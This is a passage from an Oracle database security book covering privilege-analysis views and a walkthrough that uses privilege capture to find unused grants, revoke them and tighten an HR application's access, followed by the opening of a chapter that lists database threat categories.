CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

SEQUENCE

NUMBER

The sequence of the run. Each time you run the privilege capture, the sequence will increment.

OS_USER

VARCHAR2(128)

The OS user that was captured during the privilege capture run.

USERHOST

VARCHAR2(128)

The client host machine that was captured during the privilege analysis run. In other words, we are capturing for database user Jessica, and Jessica uses machine name Jessis_Machine. Then that machine name would be reflected in this column.

MODULE

VARCHAR2(64)

The module that executed during the capture. We frequently use this column when we’re doing an analysis of specific packages and client programs to figure out what privileges they actually need.

USER_NAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

USED_ROLE

VARCHAR2(128)

The role used to execute the statements.

USER_PRIV

VARCHAR2(18)

The user privilege used during the privilege capture run.

(continued)

93

Chapter 3

Privilege Analysis

Table 3-5.  (continued) Column Name

Type

Description

ONUSER

VARCHAR2(128)

The name of the user who has the privilege the user can use. You'll see this normally with INHERIT PRIVILEGES where user_name is inheriting the privileges of the onuser.

GRANT_OPTION NUMBER

Was the grant or admin option used? 0 = grant or admin not used 1 = grant or admin used

RUN_NAME

The name of the run during the privilege capture that is defined in the sys.dbms_ privilege_capture.enable_capture run_name parameter.

VARCHAR2(128)

DBA_USED_PUBPRIVS This view will give you a list of what public privileges were used. select capture, os_user, module, username, sys_priv, obj_priv, object_owner, object_name from sys.dba_used_pubprivs where capture = 'fees_capture'; fees_capture  rlockard  FEE_PKG     RLOCKARD  SELECT   SYS  DUAL fees_capture  rlockard  frmbld.exe  RLOCKARD  READ     SYS  ALL_ERRORS fees_capture  rlockard  FEE_PKG     RLOCKARD  EXECUTE  SYS  PBSDE fees_capture  rlockard  frmbld.exe  RLOCKARD  READ     SYS  ALL_SOURCE fees_capture  rlockard  frmbld.exe  RLOCKARD  READ     SYS  ALL_USERS fees_capture  rlockard  FEE_PKG     IRP       SELECT   SYS  DUAL fees_capture  rlockard  frmbld.exe  RLOCKARD  READ     SYS  ALL_OBJECTS

94

Chapter 3

Privilege Analysis

Table 3-6 defines the columns for dba_used_pubprivs.

Table 3-6.  Column Definitions for dba_used_pubprivs Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

SEQUENCE

NUMBER

The sequence of the run. Each time you run the privilege capture, the sequence will increment.

OS_USER

VARCHAR2(128)

The OS user that was captured during the privilege capture run.

USERHOST

VARCHAR2(128)

The client host machine that was captured during the privilege analysis run. In other words, we are capturing for database user Jessica, and Jessica uses machine name Jessis_Machine. Then that machine name would be reflected in this column.

MODULE

VARCHAR2(64)

The module that executed during the capture. We frequently use this column when we’re doing an analysis of specific packages and client programs to figure out what privileges they actually need.

USER_NAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

SYS_PRIV

VARCHAR2(40)

The system privilege that was used during the privilege capture run.

(continued) 95

Chapter 3

Privilege Analysis

Table 3-6.  (continued) Column Name

Type

Description

OBJ_PRIV

VARCHAR2(40)

The object privilege used to execute the statements.

OBJECT_OWNER

VARCHAR2(128)

The owner of the object being acted on.

COLUMN_NAME

VARCHAR2(128)

The name of the column acted on during the privilege capture.

OBJECT_TYPE

VARCHAR2(28)

The type of object being acted on (in other words, TYPE, TABLE, PACKAGE, etc.).

OPTION$

NUMBER

Was the grant or admin option used? 0 = grant or admin not used 1 = grant or admin used

RUN_NAME

VARCHAR2(128)

The name of the run during the privilege capture that is defined in the sys.dbms_ privilege_capture.enable_capture run_name parameter.

DBA_UNUSED_PRIVS Now things start to get interesting. After a capture run, we get to find out what privileges a user has that were not used. This is where you start finding out what needs to be pruned. We normally start by getting a count of the number of unused privileges. r@pirpgb > select count(*)   2  from sys.dba_unused_privs   3  where capture = 'fees_capture'   COUNT(*) ---------     34729 96

Chapter 3

Privilege Analysis

As you can see, we have quite a few unused privileges. This capture was for one user; however, you need to remember that this may not be a complete capture of the work the user does. For this run, we specifically targeted it for fees capture. Therefore, you’ll need to dig a little deeper before you start revoking privileges. Table 3-7 defines the columns for dba_unused_privs.

Table 3-7.  Column Definitions for dba_unused_privs Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

SEQUENCE

NUMBER

The sequence of the run. Each time you run the privilege capture, the sequence will increment.

OS_USER

VARCHAR2(128)

The OS user that was captured during the privilege capture run.

USERHOST

VARCHAR2(128)

The client host machine that was captured during the privilege analysis run. In other words, we are capturing for database user Jessica, and Jessica uses machine name Jessis_Machine. Then that machine name would be reflected in this column.

MODULE

VARCHAR2(64)

The module that executed during the capture. We frequently use this column when we’re doing an analysis of specific packages and client programs to figure out what privileges they actually need.

(continued)

97

Chapter 3

Privilege Analysis

Table 3-7.  (continued) Column Name

Type

Description

USER_NAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

ROLENAME

VARCHAR2(128)

The name of the role that was not used during the privilege capture run.

SYS_PRIV

VARCHAR2(40)

The name of the system privilege that was not used during the privilege capture run.

OBJ_PRIV

VARCHAR2(40)

The object privilege that was not used during the privilege capture run.

USER_PRIV

VARCHAR2(18)

The user privilege that was not used during the privilege capture.

OBJECT_OWNER VARCHAR2(128)

The owner of the object being acted on.

OBJECT_TYPE

VARCHAR2(28)

The type of object being acted on (in other words, TYPE, TABLE, PACKAGE, etc.).

COLUMN_NAME

VARCHAR2(128)

The name of the column acted on during the privilege capture.

OPTION$

NUMBER

Was the grant or admin option used? 0 = grant or admin not used 1 = grant or admin used

PATH

GRANT_PATH

This is the grant path that was used to execute the statements. When there are multiple entries, you can use this to figure out how the privilege got to the user.

98

Chapter 3

Privilege Analysis

D  BA_UNUSED_SYSPRIVS_PATH Get a count of the number of unused system privileges. r@pirpgb > select count(*)   2  from sys.dba_unused_sysprivs_path   3  where capture = 'fees_capture'   4*   and username = 'RLOCKARD';   COUNT(*) ---------       520 There are quite a few again, so let’s grab one of the examples to show the grant path. select * from sys.dba_unused_sysprivs_path where capture = 'fees_capture'; fees_capture RLOCKARD            ADMINISTER RESOURCE MANAGER      0      SYS.GRANT_PATH('RLOCKARD', 'DBA', 'EM_EXPRESS_ALL') You can see we did not use the privilege ADMINISTER RESOURCE MANAGER in this capture session, and we received that privilege from DBA > EM_EXPRESS_ALL > ADMINISTER RESOURCE MANAGER. In our normal work, we would start asking if the user requires DBA privileges, and then perhaps we should think about creating a DBA LIGHT role that has just the required privileges and grant that to the user. Table 3-8 defines the columns for dba_unused_sysprivs_path.

99

Chapter 3

Privilege Analysis

Table 3-8.  Column Definitions for dba_unused_sysprivs_path Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

USERNAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

ROLENAME

VARCHAR2(128)

The name of the role that was not used during the privilege capture analysis run.

SYS_PRIV

VARCHAR2(40)

The name of the system privilege that was not used during the privilege capture analysis run.

ADMIN_OPTION

NUMBER

Is the privilege granted with the admin option? 0 = No 1 = Yes

PATH

GRANT_PATH

The system grant path.

D  BA_UNUSED_SYSPRIVS The dba_unused_sysprivs view is pretty much the same as the dba_ unused_sysprivs_path view, with the exception that it does not have the path in the view. Table 3-9 defines the columns for dba_unused_sysprivs.

100

Chapter 3

Privilege Analysis

Table 3-9.  Column Definitions for dba_unused_sysprivs Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

USERNAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

ROLENAME

VARCHAR2(128)

The name of the role that was not used during the privilege capture analysis run.

SYS_PRIV

VARCHAR2(40)

The name of the system privilege that was not used during the privilege capture analysis run.

ADMIN_OPTION

NUMBER

Is the privilege granted with the admin option? 0 = No 1 = Yes

DBA_UNUSED_OBJPRIVS_PATH This is a view on all unused object privileges with that grant path. Again, we always start with a count of what was unused and then start drilling down into the details. r@pirpgb > select count(*)   2  from sys.dba_unused_objprivs_path   3  where capture = 'fees_capture';   COUNT(*) ---------    120391 101

Chapter 3

Privilege Analysis

Now we get a list of unused object privileges. You can see that we received a select on v_$sql_optimizer_env from the path DBA > SELECT_ CATALOG_ROLE. select * from sys.dba_unused_objprivs_path where capture = 'fees_capture'; fees_capture RLOCKARD        SELECT SYS    V_$SQL_OPTIMIZER_ENV     VIEW     0     SYS.GRANT_PATH('RLOCKARD', 'DBA', 'SELECT_ CATALOG_ROLE') Table 3-10 defines the columns for dba_unused_obj_privs_path.

Table 3-10.  Column Definitions for dba_unused_obj_privs_path Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

USERNAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

ROLENAME

VARCHAR2(128)

The name of the role that was not used during the privilege capture analysis run.

OBJ_PRIV

VARCHAR2(40)

The name of the unused object privilege.

OBJECT_OWNER

VARCHAR2(128)

The name of the object owner.

OBJECT_NAME

VARCHAR2(128)

The name of the object that the object privilege references.

OBJECT_TYPE

VARCHAR2(23)

The type of the object we are referencing.

(continued) 102

Chapter 3

Privilege Analysis

Table 3-10.  (continued) Column Name

Type

Description

COLUMN_NAME

VARCHAR2(128)

The column name the object privilege is referencing.

GRANT_OPTION

NUMBER

Is the privilege granted with the GRANT OPTION? 0 = No 1 = Yes

PATH

GRANT_PATH

The object grant path.

D  BA_UNUSED_OBJPRIVS Again, the dba_unused_objprivs is pretty much the same as dba_unused_ objprivs_path, with the exception of not having the grant path. Table 3-11 defines the columns for dba_unused_obj_privs.

Table 3-11.  Column Definitions for dba_unused_obj_privs Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

USERNAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

ROLENAME

VARCHAR2(128)

The name of the role that was not used during the privilege capture analysis run.

OBJ_PRIV

VARCHAR2(40)

The name of the unused object privilege.

(continued) 103

Chapter 3

Privilege Analysis

Table 3-11.  (continued) Column Name

Type

Description

OBJECT_OWNER

VARCHAR2(128)

The name of the object owner.

OBJECT_NAME

VARCHAR2(128)

The name of the object that the object privilege references.

OBJECT_TYPE

VARCHAR2(23)

The type of the object we are referencing.

COLUMN_NAME

VARCHAR2(128)

The column name the object privilege is referencing.

GRANT_OPTION

NUMBER

Is the privilege granted with the GRANT OPTION? 0 = No 1 = Yes

PATH

GRANT_PATH

The object grant path.

D  BA_UNUSED_USERPRIVS_PATH This view shows what user privileges were not used with the grant path. If you are having difficulty understanding inherit privileges, this may help a bit. In the following query, we are getting what user privileges were not used. Here, CTXSYS can inherit some privileges from the user SYS to perform a function. When you put PL/SQL AUTHID CURRENT_USER into the package specification, then that code will inherit the privileges of the user calling it. You can read more about this in Chapter 6. select * from sys.dba_unused_userprivs_path where capture = 'fees_capture'; fees_capture  CTXSYS            INHERIT PRIVILEGES  SYS    0      SYS.GRANT_PATH('CTXSYS') 104

Chapter 3

Privilege Analysis

Table 3-12 defines the columns for dba_unused_userpriv_path. This view is the same as the dba_unused_userprivs view, with the addition of the path the privilege came from.

Table 3-12.  Column Definitions for dba_unused_userprive_path Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

USERNAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

ROLENAME

VARCHAR2(128)

The name of the role that was not used during the privilege capture analysis run.

USER_PRIV

VARCHAR2(18)

Unused user privileges.

ONUSER

VARCHAR2(128)

The privileged user that the user is going to inherit their privilege from.

GRANT_OPTION

NUMBER

Was this granted with the grant option? 0 = No 1 = Yes

PATH

GRANT_PATH

The path this privilege came from.

D  BA_UNUSED_USERPRIVS DBA_UNUSED_USERPRIVS is pretty much the same as DBA_UNUSED_ USERPRIVS_PATH with the exception DBA_UNUSED_USERPRIVS does not have the PATH column. Table 3-13 defines the columns for dba_unused_userprive_path.

105

Chapter 3

Privilege Analysis

Table 3-13.  Column Definitions for dba_unused_userprive_path Column Name

Type

Description

CAPTURE

VARCHAR2(128)

The name of the privilege capture that was defined in sys.dbms_privilege_ capture.create_capture.

USERNAME

VARCHAR2(128)

The Oracle username that logged in and was captured during the privilege analysis run.

ROLENAME

VARCHAR2(128)

The name of the role that was not used during the privilege capture analysis run.

USER_PRIV

VARCHAR2(18)

Unused user privileges.

ONUSER

VARCHAR2(128)

The privileged user that the user is going to inherit their privilege from.

GRANT_OPTION

NUMBER

Was this granted with the grant option? 0 = No 1 = Yes

Putting It Together We are going to create a test case, do the analysis, and then fine-tune the privileges to a new application. We frequently see developers get an application through the testing cycle and then cringe at the thought of tightening up permissions. The comment we hear the most is, “It’s working; don’t mess with it.” We are going to walk through an HR application. We’ll have usr1 as an HR user performing normal functions to isolate what privileges the user needs when the application is designed using code-based access control (CBAC). Therefore, the user will need execute privileges on packages in the HR_API schema. 106

Chapter 3

Privilege Analysis

The SSN column is needed by the code, and we use it quite regularly, so let’s go ahead and add it in now. From your DBA account, run the following commands: alter table hr.employees add SSN varchar2(11); Set up the usr1 account that will be used for testing. drop user usr1; -- set some things up. create user usr1 identified by mYsECRETpASSWORD; Create the hr_api schema-only account. For more information on schema-only accounts, read Chapter 6. create user hr_api; grant create session, create procedure to hr_api; You may notice in the setup of usr1 that we are intentionally over-­ privileging the account. This is for demo purposes. In the real world, we would design our roles and privileges much better from the start. Create the role to insert into the employees table and grant the privileges needed to operate. create role insert_emp_rol; -- We will over privilege USR1. Yeah it pains me to do this; however, -- I want to show the cleanup process. grant select any table to usr1;  -- over privilege!!!!! -- nope, this should not happen, these are bad practices, it's only here -- for demo purposes. grant insert on hr.departments to usr1; grant select on hr.departments to usr1; -- I know I should not have to say this; but I will. Using the CONNECT role 107

Chapter 3

Privilege Analysis

-- is a corner case and you really should be using CREATE SESSION. grant connect to usr1; -- over privilege!!!!! -- That's better, we're going to setup the roles we need. grant insert on hr.employees to insert_emp_rol; -- Okay, for PL/SQL to compile, we need to make a direct grant to the schema -- the PL/SQL will be in. grant insert on hr.employees to hr_api; grant select on hr.employees_seq to insert_emp_rol; grant select on hr.employees_seq to hr_api; grant select on hr.departments to hr_api; -- Note the delegate option here. You'll need this for Code Based Access Control. grant insert_emp_rol to hr_api with delegate option; Create the package, not authid curent_user. This is needed for CBAC. create or replace package hr_api.manage_emp_pkg authid current_user as     procedure p_insert_emp(p_first_name     in varchar2,                            p_last_name      in varchar2,                            p_email          in varchar2,                            p_phone_number   in varchar2,                            p_hire_date      in date,                            p_job_id         in varchar2,                            p_salary         in number,                            p_commission_pct in number,                            p_manager_id     in integer,                            p_department_id  in integer,                            p_ssn            in varchar2); end manage_emp_pkg; / 108

Chapter 3

Privilege Analysis

Here is the magic sauce—grant the role to the package. Now the package will be able to execute only with the privileges it receives from the role. Read Chapter 6 for more information. We grant the insert_emp_rol role to the package. grant insert_emp_rol to package manage_emp_pkg; create or replace package body hr_api.manage_emp_pkg as     procedure p_insert_emp(p_first_name     in varchar2,                            p_last_name      in varchar2,                            p_email          in varchar2,                            p_phone_number   in varchar2,                            p_hire_date      in date,                            p_job_id         in varchar2,                            p_salary         in number,                            p_commission_pct in number,                            p_manager_id     in integer,                            p_department_id  in integer,                            p_ssn            in varchar2) is     i_emp_id integer;     begin         select hr.employees_seq.nextval         into i_emp_id         from dual;         -        insert into hr.employees values (i_emp_id,                                          p_first_name,                                          p_last_name,                                          p_email,                                          p_phone_number,                                          p_hire_date,                                          p_job_id,                                          p_salary, 109

Chapter 3

Privilege Analysis

                                         p_commission_pct,                                          p_manager_id,                                          p_department_id,                                          p_ssn);     commit;     end p_insert_emp; end manage_emp_pkg; / Now we are going to create the package to manage departments. Note we are not using an aughid clause; therefore, by default the code will execute with DEFINERS rights. create or replace package hr_api.manage_dept_pkg as     procedure p_select_dept(p_dept_id in      integer,                               p_dept_name   out varchar2,                               p_manager_id  out integer,                               p_location_id out integer); end manage_dept_pkg; / create or replace package body hr_api.manage_dept_pkg as     procedure p_select_dept(p_dept_id in      integer,                               p_dept_name   out varchar2,                               p_manager_id  out integer,                               p_location_id out integer) as     begin       select department_name,                manager_id,                location_id

110

Chapter 3

Privilege Analysis

      into p_dept_name,             p_manager_id,             p_location_id       from hr.departments       where department_id = p_dept_id;     end p_select_dept; end manage_dept_pkg; / So our test user can run the packages, we’ll give her execute on them. grant execute on hr_api.manage_emp_pkg to usr1; grant execute on hr_api.manage_dept_pkg to usr1; Switch back to the account that has the capture_admin privileges to run sys.dbms_privilege_capture. Set up a privilege capture and exercise the app. Note that this capture is for the entire database. Therefore, the results you get may be quite noisy. We’ll address that in hr_app_ exercise2. begin   sys.dbms_privilege_capture.create_capture(             name  => 'hr_app_exercise1',             type => sys.dbms_privilege_capture.g_database);   sys.dbms_privilege_capture.enable_capture(name => 'hr_app_ exercise1'); end; / Connect as usr1 and run the code. This code will insert one row.

111

Chapter 3

Privilege Analysis

sqlplus usr1@orcl declare   s_dept_name   hr.departments.department_name%type;   i_manager_id  hr.departments.manager_id%type;   i_location_id hr.departments.location_id%type; begin     hr_api.manage_emp_pkg.p_insert_emp(             p_first_name       => 'Robert',             p_last_name        => 'Lockard',             p_email            => '[email protected]',             p_phone_number     => '+1.555.555.1212',             p_hire_date        => trunc(sysdate),             p_job_id           => 'AD_PRES',             p_salary           => 900000,             p_commission_pct   => .5,             p_manager_id       => 100,             p_department_id    => 270,             p_ssn              => '111-22-2222');     hr_api.manage_dept_pkg.p_select_dept(p_dept_id     => 270,                                          p_dept_name   => s_ dept_name,                                          p_manager_id  => i_ manager_id,                                          p_location_id => i_ location_id);     sys.dbms_output.put_line('the department name is: ' || s_ dept_name); end; /

112

Chapter 3

Privilege Analysis

Stop the capture and generate the results. begin    sys.dbms_privilege_capture.disable_capture('hr_app_exercise1');    sys.dbms_privilege_capture.generate_result('hr_app_exercise1'); end; / How many privileges have not been used? r@orclpdb1 > select count(*) from sys.dba_unused_privs where capture = 'hr_app_exercise1';   COUNT(*) ---------    101296 That’s quite a few unused privileges. Let’s glance at what privileges were used for this capture. select * from sys.dba_used_objprivs where capture = 'hr_app_exercise1'; 1  oracle  localhost USR1    PUBLIC         EXECUTE SYS      DBMS_OUTPUT     PACKAGE      0 1  oracle  localhost HR_API  HR_API         SELECT  HR      DEPARTMENTS     TABLE       0 1  oracle  localhost USR1    INSERT_EMP_ROL  INSERT  HR      EMPLOYEES       TABLE        0 1  oracle  localhost USR1    USR1           EXECUTE HR_API   MANAGE_DEPT_PKG  PACKAGE     0 1  oracle  localhost USR1   USR1            SELECT  HR       DEPARTMENTS      TABLE       0 1  oracle  localhost PUBLIC                  SELECT  SYS      DUAL            TABLE       0 113

Chapter 3

Privilege Analysis

1  oracle  localhost USR1    INSERT_EMP_ROL  SELECT  HR      EMPLOYEES_SEQ    SEQUENCE    0 1  oracle  localhost USR1   USR1           EXECUTE HR_API   MANAGE_EMP_PKG   PACKAGE     0 Let’s narrow down the capture to just the testing user. There is not a lot going on in this database besides our testing, so if things get too noisy, start to narrow down what is captured. We’re going to run this again, but this time using a context that’ll just capture the privileges that were used by usr1. Set up a privilege capture and exercise the app. Start the next privilege capture. This time, focus on the usr1 session. begin   sys.dbms_privilege_capture.create_capture(       name      => 'hr_app_exercise2',       type     => sys.dbms_privilege_capture.g_context,       condition => 'sys_context("USERENV", "SESSION_USER") = "USR1"');   sys.dbms_privilege_capture.enable_capture(name => 'hr_app_ exercise2'); end; / Connect as usr1 and run the row insertion code again (hr_api.manage_ emp_pkg.p_insert_emp). This code will insert one row. Once you’re done, you can stop the privilege capture and generate your test results. Stop the capture and generate the results. begin    sys.dbms_privilege_capture.disable_capture('hr_app_exercise2');   sys.dbms_privilege_capture.generate_result('hr_app_exercise2'); end; / 114

Chapter 3

Privilege Analysis

Now, let’s get some useful information. Find out what object privileges the second run used. select username,        used_role,        obj_priv,        object_owner,        object_name,        object_type,        path from sys.dba_used_objprivs_path where capture = 'hr_app_exercise2' order by used_role, obj_priv; HR_API  HR_API          SELECT  HR      DEPARTMENTS      TABLE     SYS.GRANT_PATH('HR_API') USR1    INSERT_EMP_ROL  INSERT  HR      EMPLOYEES        TABLE     SYS.GRANT_PATH() USR1    INSERT_EMP_ROL  SELECT  HR      EMPLOYEES_SEQ    SEQUENCE  SYS.GRANT_PATH() USR1    PUBLIC          EXECUTE SYS     DBMS_OUTPUT      PACKAGE   SYS.GRANT_PATH('PUBLIC') USR1    PUBLIC          SELECT  SYS     DUAL             TABLE     SYS.GRANT_PATH('PUBLIC') USR1    USR1            EXECUTE HR_API  MANAGE_EMP_PKG   PACKAGE   SYS.GRANT_PATH('USR1') USR1    USR1            EXECUTE HR_API  MANAGE_DEPT_PKG  PACKAGE   SYS.GRANT_PATH('USR1') USR1    USR1            SELECT  HR      DEPARTMENTS      TABLE     SYS.GRANT_PATH('USR1')

115

Chapter 3

Privilege Analysis

So, this tells us a few things; usr1 has direct select on the departments table. Now find any unused system privileges select * from sys.dba_unused_sysprivs_path where capture = 'hr_app_exercise2'; -- nope, should not happen! How did USR1 get SET CONTAINER? -- Well, we can see that came through the CONNECT role. hr_app_exercise2  HR_API  CREATE SESSION    0   SYS.GRANT_PATH('HR_API') hr_app_exercise2  HR_API  CREATE PROCEDURE  0   SYS.GRANT_PATH('HR_API') hr_app_exercise2  USR1    SELECT ANY TABLE  0   SYS.GRANT_PATH('USR1') hr_app_exercise2  USR1    CREATE SESSION    0   SYS.GRANT_PATH('USR1', 'CONNECT') hr_app_exercise2  USR1    SET CONTAINER     0   SYS.GRANT_PATH('USR1', 'CONNECT') The privileges SELECT ANY TABLE and SET CONTAINER do not belong. The privilege SET CONTAINER was received from the connect role. The user should have received the CREATE SESSION privilege and SELECT ANY TABLE on the table through a role. Let’s fix this now. revoke select any table from usr1; revoke connect from usr1; grant create session to usr1; create role hr_emp_sel_rol; create role hr_dept_sel_rol; grant select on hr.employees to hr_emp_sel_rol; grant hr_emp_sel_rol to usr1; grant hr_dept_sel_rol to usr1; 116

Chapter 3

Privilege Analysis

Okay, we’ve revoked connect from usr1. We’re going to run this again, before creating a specialized role that has select on hr.departments and granting that role to usr1. Just to make sure there is nothing else out there that we need to concern ourselves with. Now remember, usr1 needs to disconnect and reconnect for the role to be evaluated and assigned to them. begin   sys.dbms_privilege_capture.create_capture(       name      => 'hr_app_exercise3',       type     => sys.dbms_privilege_capture.g_context,       condition => 'sys_context("USERENV", "SESSION_USER") = "USR1"');   sys.dbms_privilege_capture.enable_capture(name     => 'hr_app_exercise3',                                              run_name => 'run_2'); end; / Run the row insertion code again so we can test our adjustments to privileges. Now stop the capture and generate the results. begin   sys.dbms_privilege_capture.disable_capture('hr_app_ exercise3');   sys.dbms_privilege_capture.generate_result(name       => 'hr_app_exercise3',                                               dependency => TRUE); end; /

117

Chapter 3

Privilege Analysis

select username, used_role, obj_priv, user_priv, object_owner, object_name, path from sys.dba_used_privs where capture = 'hr_app_exercise3'; USR1    INSERT_EMP_ROL    INSERT  HR    EMPLOYEES         SYS.GRANT_PATH() USR1    PUBLIC SELECT      SYS     DUAL                     SYS.GRANT_PATH('PUBLIC') USR1    USR1   EXECUTE             HR_API MANAGE_EMP_PKG    SYS.GRANT_PATH('USR1') USR1    USR1   EXECUTE            HR_API MANAGE_DEPT_PKG   SYS.GRANT_PATH('USR1') USR1    PUBLIC EXECUTE     SYS     DBMS_OUTPUT              SYS.GRANT_PATH('PUBLIC') USR1    INSERT_EMP_ROL    READ    HR    EMPLOYEES_SEQ     SYS.GRANT_PATH() PUBLIC  INHERIT PRIVILEGES USR1                             SYS.GRANT_PATH('PUBLIC') HR_API HR_API SELECT               HR     DEPARTMENTS       SYS.GRANT_PATH('HR_API') What is this telling us? USR1 inherited privileges from public, and USR1 has direct privileges to execute hr_api.manage_emp_pkg and hr_api.manage_dept_pkg. hr_api is using a direct grant of select on hr. departments. We’ll check used object privileges to find out what privileges the USR1 used to access specific objects. select username,        used_role,        obj_priv,        object_owner, 118

Chapter 3

Privilege Analysis

       object_name,        object_type from sys.dba_used_objprivs where capture = 'hr_app_exercise3' order by used_role, obj_priv; HR_API  HR_API          SELECT   HR        DEPARTMENTS    TABLE USR1    INSERT_EMP_ROL  INSERT   HR       EMPLOYEES      TABLE USR1    INSERT_EMP_ROL  SELECT   HR       EMPLOYEES_SEQ  SEQUENCE USR1    PUBLIC          EXECUTE  SYS       DBMS_OUTPUT    PACKAGE USR1    PUBLIC          SELECT   SYS       DUAL           TABLE USR1    USR1          EXECUTE  HR_API MANAGE_EMP_PKG    PACKAGE USR1    USR1          EXECUTE  HR_API MANAGE_DEPT_PKG  PACKAGE Well, this is a lot cleaner, but we can do better. HR_API is still using a direct grant of select to access the HR.DEPARTMENTS table. Yes, we know for PL/SQL to compile we need to grant select on the schema. However, there is a better way that we will cover in Chapter 6. For now, we will use code-­based access control and grant the package that accesses the HR. DEPARTMENTS table a role to use. But before we are too far ahead, let’s learn a bit more about what was being used. Now find the used system privileges. select * from sys.dba_used_sysprivs where capture = 'hr_app_exercise3'; hr_app_exercise3    1    oracle    localhost java@ localhostUSR1    CREATE SESSION    CREATE SESSION    0 Well, it turns out the problem is the package hr_api.manage_dept_pkg that was created with definers rights. Let’s change that to invokers rights and assign a role to the package. This role will have to select on ­hr. departments. 119

Chapter 3

Privilege Analysis

Set up a role to grant select on hr.departments and rerun the test. create role hr_dept_select; grant select on hr.departments to hr_dept_select; grant hr_dept_select to hr_api with delegate option; revoke select on hr.departments from usr1; grant hr_dept_select to usr1; -- as HR_API create or replace package hr_api.manage_dept_pkg authid current_user as     procedure p_select_dept(p_dept_id in      integer,                               p_dept_name   out varchar2,                               p_manager_id  out integer,                               p_location_id out integer); end manage_dept_pkg; / grant hr_dept_select to package hr_api.manage_dept_pkg; create or replace package body hr_api.manage_dept_pkg as     procedure p_select_dept(p_dept_id in      integer,                               p_dept_name   out varchar2,                               p_manager_id  out integer,                               p_location_id out integer) as     begin       select department_name,                manager_id,                location_id       into p_dept_name,             p_manager_id,             p_location_id 120

Chapter 3

Privilege Analysis

      from hr.departments       where department_id = p_dept_id;     end p_select_dept; end manage_dept_pkg; / -- now the package will only run with the privileges we've granted to it. begin   sys.dbms_privilege_capture.create_capture(       name      => 'hr_app_exercise4',       type     => sys.dbms_privilege_capture.g_context,       condition => 'sys_context("USERENV", "SESSION_USER") = "USR1"');   sys.dbms_privilege_capture.enable_capture(name => 'hr_app_ exercise4'); end; / As usr1, run the row-insertion code again to gather the privileges used. Stop the capture and generate the results. begin   sys.dbms_privilege_capture.disable_capture('hr_app_exercise4');   sys.dbms_privilege_capture.generate_result('hr_app_exercise4'); end; / -- now that we've cleaned up unneeded grants, lets check to see if there -- is anything out there that is left over. As we can see, usr1 is now

121

Chapter 3

Privilege Analysis

-- a lean user and does not have any privileges granted to her that -- she does not need. :-) select * from sys.dba_unused_privs where capture = 'hr_app_exercise4'; hr_app_exercise4    USR1    INSERT    HR    DEPARTMENTS   TABLE     0    SYS.GRANT_PATH('USR1') hr_app_exercise4    USR1    SELECT    HR    EMPLOYEES    TABLE     0    SYS.GRANT_PATH('USR1', 'HR_EMP_SEL_ROL') -- we can still clean this up a bit more. USR1 has insert granted to her directly. This can be done -- through a role; however, we should do some more exhaustive testing and make sure she does not -- need insert. select * from sys.dba_unused_objprivs where capture = 'hr_app_exercise4'; hr_app_exercise4    USR1    INSERT    HR    DEPARTMENTS   TABLE   0 hr_app_exercise4    USR1    SELECT    HR    EMPLOYEES     TABLE   0 -- one more time, we can clean this up some more. the user does not need -- privileges on hr.departments and hr.employees. Lets revoke them. select * from sys.dba_unused_userprivs_path where capture = 'hr_app_exercise4'; -- nothing returned, that's nice. 122

Chapter 3

Privilege Analysis

select * from sys.dba_used_sysprivs where capture = 'hr_app_exercise4'; -- usr1 did not disconnect and reconnect between test, therefore the create session -- privilege was not used. select * from sys.dba_used_sysprivs_path where capture = 'hr_app_exercise4'; hr_app_exercise4   1    oracle    localhost java@localhost. localdomain USR1    USR1    CREATE SESSION    0    SYS.GRANT_ PATH('USR1') Let’s do some cleanup. begin   sys.dbms_privilege_capture.drop_capture('hr_app_exercise1');   sys.dbms_privilege_capture.drop_capture('hr_app_exercise2');   sys.dbms_privilege_capture.drop_capture('hr_app_exercise3');   sys.dbms_privilege_capture.drop_capture('hr_app_exercise4'); end; /

123

CHAPTER 4

Oracle Database Threats In this chapter, we will explain how to secure your database and try to avoid security bugs. In general, the most effective way to defend yourself against security issues is to patch. As a case in point, Oracle has published more than 60 security alerts in its critical patch updates and on its security alerts page, which are released in January, April, July, and October every year. After patching, you should learn more about the environment and your infrastructure, especially the hosts and users who are connecting to your database servers. There are different mechanisms to do this; one of them is single sign-on, which will be discussed in the next chapter. How to implement single sign-on depends on the company policy. Another solution is to implement a hardware solution such as an intrusion detection system (IDS) or intrusion prevention system (IPS), both of which offer another security layer. Both systems will inform you if any hackers have accessed your network, but they will not protect you against it happening in the first place. With a little work by attackers, they can bypass these types of systems, and once they are inside your network, IDSs/IPSs will not protect your database servers. Don’t wait for this to happen to your infrastructure.

© Osama Mustafa, Robert P. Lockard 2019 O. Mustafa and R. P. Lockard, Oracle Database Application Security, https://doi.org/10.1007/978-1-4842-5367-0_4

125

Chapter 4

Oracle Database Threats

Threat Categories Before we go further into the topic of database security and discuss some threats, we should discuss the categories of threats, as shown here: •

Unauthenticated/authenticated errors in the network



Privilege elevation



Local privilege elevation issues



Arbitrary code execution

If you want to find out what kind of bugs your database has, you can use a few techniques, covered next. •

Find out what protocol your database server is using



Understand the code that is running on your database



Debug, debug, and then debug the code some more



Test a feature before implementing it

